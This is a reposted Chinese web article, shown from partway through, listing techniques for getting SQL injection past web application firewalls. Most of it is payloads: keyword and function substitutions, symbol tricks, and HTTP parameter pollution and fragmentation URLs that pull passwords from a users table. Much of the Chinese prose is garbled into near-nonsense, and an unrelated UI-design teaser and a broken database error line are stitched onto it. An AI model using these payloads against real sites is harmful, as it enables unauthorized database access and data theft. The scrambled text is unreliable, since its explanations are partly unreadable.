作家
登录

SQL注入 | 9种绕过Web应用程序防火墙的方式

作者: 来源: 2018-03-11 14:10:12 阅读 我要评论

  
  •  strcmp(left('password',1), 0x71) = -1 
  • mid()、substr() ==> substring()  
  • @@user ==> user()  
  • @@datadir ==> datadir() 
    1. + ` symbol: select `version()`; 
    2. + +- :select+id-1+1.from users; 
    3. + @:select@^1.from users; 
    4. +Mysql function() as xxx 
    5. +`、~、!、@、%、()、[]、.、-、+ 、|、%00 

    示例

    7. HTTP参数控制

    经由过程供给多个参数=雷同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如应用Apache/PHP),应用法度榜样将仅解析最后(第二个) id= 而WAF只解析第一个。在应用法度榜样看来这似乎是一个合法的请求,是以应用法度榜样会吸结束处理这些恶意输入。如今,大年夜多半的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

    + HPP(HTTP Parameter Polution))

    1. /?id=1;select+1,2,3+from+users+where+id=1—   
    2.  /?id=1;select+1&id=2,3+from+users+where+id=1—   
    3.  /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users 

    HPP又称做反复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不合的Web办事器处理方法如下:

    + URL encode

    +HPF (HTTP Parameter Fragment)

    这种办法是HTTP瓜分注入,同CRLF有类似之处(应用控制字符%0a、%0d等履行换行)

    1. /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--   
    2. select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users— 

    +HPC (HTTP Parameter Contamination)

    RFC2396定义了以下字符:

    1. Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () 
    2. Reserved : ; / ? : @ & = + $ , 
    3. Unwise : { } | \ ^ [ ] ` 

    不合的Web办事器处理处理构造得特别请求时有不合的逻辑:

    以魔术字符%为例,Asp/Asp.net会受到影响

    8. 缓冲区溢出

    WAF和其他所有的应用法度榜样一样也存在着各类缺点和马脚。如不雅出现缓冲区溢出的情况,那么WAF可能就会崩溃,即使不克不及代码履行那也会使WAF无法正常运行。如许,WAF的安然防护自瘸就镣被崩溃了。


      推荐阅读

      直觉与情怀,2018年移动应用UI设计的九大趋势

    以前几年中,越来越多的设计师开端在UI设计中使悠揭捉?色渐变,大年夜logo、按钮到全部移动APP的UI都是如斯。仅仅经由过程对色彩色阶的应用,就能生成漂亮,层次丰富并且耐看的UI,浓烈而不掉简约,这种设计风格注定>>>详细阅读


    本文标题:SQL注入 | 9种绕过Web应用程序防火墙的方式

    地址:http://www.17bianji.com/lsqh/40568.html

    关键词: 探索发现

    乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

    网友点评
    自媒体专栏

    评论

    热度

    精彩导读
    栏目ID=71的表不存在(操作类型=0)